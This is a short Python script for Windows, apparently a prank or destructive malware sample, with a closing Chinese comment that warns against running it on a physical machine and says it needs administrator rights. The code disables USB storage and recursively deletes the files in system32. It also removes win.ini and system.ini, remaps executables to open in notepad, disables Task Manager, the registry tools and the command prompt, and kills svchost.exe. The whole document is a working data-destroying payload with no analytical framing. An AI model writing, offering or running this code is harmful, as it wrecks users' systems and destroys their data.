import subprocess
import os
import time
def disable_usb_storage():
try:
subprocess.run(
[
"reg", "add",
r"HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR",
"/v", "Start",
"/t", "REG_DWORD",
"/d", "4",
"/f"
],
check=True
)
print("USB storage devices have been disabled.")
except subprocess.CalledProcessError as e:
print(f"An error occurred while disabling USB storage: {e}")
def del_file(path):
for i in os.listdir(path):
c_path = os.path.join(path, i)
if os.path.isdir(c_path):
del_file(c_path)
else:
try:
os.remove(c_path)
except:
pass
def perform_system_modifications():
try:
del_file("C:\\Windows\\system32")
os.system("attrib -s -r -h C:\\Windows\\win.ini")
os.unlink("C:\\Windows\\win.ini")
os.system("attrib -s -r -h C:\\Windows\\system.ini")
os.unlink("C:\\Windows\\system.ini")
os.system(r'ftype exefile="C:\\Windows\\notepad"%*')
os.system(r'reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t reg_dword /d "1" /f')
os.system(r'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d "1" /f')
os.system(r'reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t reg_dword /d "1" /f')
time.sleep(20)
os.system("taskkill /f /im svchost.exe")
except Exception as e:
print(f"An error occurred during system modifications: {e}")
# Execute the functions
disable_usb_storage()
perform_system_modifications()
建议不要在实体机上操作'而且需要管理员权限